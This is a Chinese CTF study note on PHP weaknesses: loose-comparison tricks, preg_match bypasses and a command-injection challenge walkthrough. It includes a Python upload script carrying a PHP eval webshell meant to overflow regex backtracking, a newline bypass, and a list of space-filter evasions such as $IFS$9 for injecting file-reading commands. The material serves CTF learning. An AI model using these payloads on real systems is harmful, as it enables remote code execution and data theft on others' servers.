CTF-PHP常见考点实例小结

0x00 CTF-PHP常见考点

1.php弱类型的比较

2.php断言问题

3.php读取文件问题

4.updatexml(),__wakeup ,preg_match等函数考点

5.sha1()函数与md5()知识点

6.异或注入绕过考点

7.源文件泄露

8.extract变量覆盖

9.strcmp漏洞…

10.RCE的命令执行绕过考点

总结的不是很全面,一些常见的考点,希望师傅们多多指点
看到网上不少师傅的总结,感觉不错值得学习。

下面取几个考点类型案例分析帮助理解,实际加强php类型考点多在靶场修炼才更深刻。

0x01 案例1:弱类型绕过案例

php存在=,==,===三种比较符号

第一个=相当于直接赋值的道理

第二个= = 会直接将对象转换为相同类在进行比较

第三个= = = 会判断两种类型对象是否相等,再作比较

<?php
var_dump("admin"==0); //true   0=0 为真
var_dump("1admin"==1); //true   1=1 为正
var_dump("admin1"==1); //false 0 不等于 1 返回假
var_dump("admin1"===1); //类型不等 为假
var_dump("admin"===1);   //类型不等 为假
var_dump("0e123456"=="0e4456789"); //true   所有0e默认类为取值0 0=0 为真
var_dump("0e123456"==="0e4456789"); //类型相等数值不等 为假
?>


一段简短的代码审计题目帮助理解php弱类型

$num=$_GET['num'];
if(!is_numeric($num))   // is_numeric () 函数用于检测变量是否为数字或数字字符串。
{echo $num;if($num==1)   //num=1xxx 即可构成   1=1 返回为真取值flagecho 'flag{**********}';
}

payload:num=1abc 构成比较为1=1 为真输出flag

0x02 preg_match函数绕过

首先了解preg_match函数作用:用于执行一个正则表达式匹配。赛题中用来过滤函数

<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {echo "查找到匹配的字符串 php。";
} else {echo "未发现匹配的字符串 php。";
}
?>

常见preg_match的绕过的三种方式:

(1)数组绕过,当传递参数为数组,会返回true

payload:传参:?a=[]=flag.php

(2)最大PCRE(正则查找匹配次数)突破,中文的回溯次数在100万次就会崩溃,构造exp突破次数即可返回truepauload:

import requests
from io import BytesIOfiles = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False)
print(res.headers)

(3)".“换行符绕过,”."不会匹配换行符payload:

if (preg_match('/^.*(flag).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';
}
//$json="\nflag"
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {echo $flag;
}
//?a=flag%0a

参考了网上师傅总结,值得学习记录一下

0x03 案例2:RCE绕过案例

学习地址:BUUCTF(题目地址:ping ping ping)

题目页面:

发现flag地址:

空格被过滤:

绕过rce执行空格:php-rce绕过参考:https://zhuanlan.zhihu.com/p/391439312

符号被过滤

尝试绕过被过滤字符串flag:

空格绕过参考:
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

总结:题目难度偏小 ,$IFS$2绕过空格加上拼接flag字符串,以;字符分割执行rce,获取flag。

RCE命令执行绕过总结网上很多,可以多加学习:命令执行(RCE)面对各种过滤,骚姿势绕过总结等
总结的文章对于爱好ctf的小白比较友好,希望有师傅们路过指点!

个人web学习笔记:CSDN用户名:告白热
https://blog.csdn.net/qq_53577336

转载自鹏组安全公众号内的内容

CTF-PHP常见考点实例小结相关推荐

  1. python字典操作添加_Python字典常见操作实例小结【定义、添加、删除、遍历】

    本文实例总结了python字典常见操作.分享给大家供大家参考,具体如下: 简单的字典: 字典就是键值对key-value组合. #字典 键值对组合 alien_0 ={'color':'green', ...

  2. SHU汇编程序设计常见考点、易错点总结与综合实例、汇编学习资源

    文章目录 SHU汇编程序设计常见考点.易错点总结与综合实例.汇编学习资源 一.常见考点 1.寻址方式 2.移位 3.乘除运算 4.加减操作 5.取址操作 6.出入栈 7.中断 8.标志位 9.常见的字 ...

  3. 【浏览器】浏览器原理及常见考点

    浏览器原理及常见考点 一.浏览器安全 1.XSS(跨站脚本)攻击 2.CSRF攻击 3.中间人攻击 4.哪些操作会引起浏览器安全问题??? 5.网络劫持有哪几种?如何防范? 二. 进程与线程 1.进程 ...

  4. aspx 追加html标签,ASP.NET动态增加HTML元素的方法实例小结

    本文实例讲述了ASP.NET动态增加HTML元素的方法.分享给大家供大家参考,具体如下: 在使用asp.net进行web开发的时候页面中的 中的信息可以通过asp.net的cs文件动态指定. 1.动态 ...

  5. php字符长度函数漏洞 ctf,CTF中常见php-MD5()函数漏洞

    CTF中常见php-MD5()函数漏洞 1.数字与字符串之间的比较 var_dump( 0 == "a" ); var_dump( "0" == "a ...

  6. python3爬虫入门实例_10个python爬虫入门实例(小结)

    昨天带伙伴萌学习python爬虫,准备了几个简单的入门实例 涉及主要知识点: web是如何交互的 requests库的get.post函数的应用 response对象的相关函数,属性 python文件 ...

  7. python编程遍历_Python字典遍历操作实例小结

    本文实例讲述了Python字典遍历操作.分享给大家供大家参考,具体如下: 1 遍历键值对 可以使用一个 for 循环以及方法 items() 来遍历这个字典的键值对. dict = {'evapora ...

  8. 英语写作中常见的“转折”小结

    英语写作中常见的"转折"小结 (1)一般意义上的"转折":but, yet, however,nevertheless(nonetheless), though ...

  9. html常见盒子居中小结

    转载:https://blog.csdn.net/a785975139/article/details/78706440 html常见盒子居中小结 在写界面时,经常被元素居中的问题困扰.经过一番查阅资 ...

最新文章

  1. python读取内存和空闲内存
  2. OpenStack Nova Placement API 统一资源管理接口的未来
  3. 硬盘重新分区后有一个分区表信息丢失的数据恢复
  4. 未来计算机是什么结合的产物,计算机未来发展趋势 (2)
  5. python入门实践19章_Python 编程从入门到实践 第19章 注销一节问题
  6. 【飞秋】ASP.NET 之 常用类、方法的超级总结,并包含动态的EXCEL导入导出功能,奉上类库源码
  7. T3 - 构建大型 Web 应用的 JavaScript 框架
  8. uni-app登录+记住密码
  9. 教学案例 计算机,计算机教学案例
  10. 软件下载页面php,PHP网页制作软件下载
  11. iOS 各种证书/签名详解
  12. Linux 上安装Realtek瑞昱网卡驱动
  13. Spring5学习笔记------4、JdbcTemplate
  14. 群英齐聚铸辉煌!孔明在线企鹅社区成功启动!
  15. css样式属性值无效问题
  16. 数据分析:企业人力资源管理探索
  17. PL/SQL破解方法(不需要注册码)
  18. 在idea配置虚拟机参数与虚拟机内存溢出
  19. 设置漂亮的eclipse主题(Theme)风格
  20. Linux查看cc编译器版本,如何查看linux版本(转)

热门文章

  1. 教育认证有效期 有道云笔记_【进阶版】有道云笔记Markdown指南 | 有道云笔记官方博客...
  2. 同时查询多个快递单号物流单号查询
  3. 【附源码】计算机毕业设计java作业批改管理系统设计与实现
  4. Adobe Flash CS5中文版经典教程 下载地址
  5. Wiki的商业化之道
  6. Latex常见公式环境与对齐方式小节
  7. fastnest怎么一键排版_富文本编辑器的一键排版功能
  8. Linux系统如何操作关机或重启180.188.22.X
  9. 2048游戏实现,html+css+js
  10. StatefulSet如何提供稳定的网络标识和状态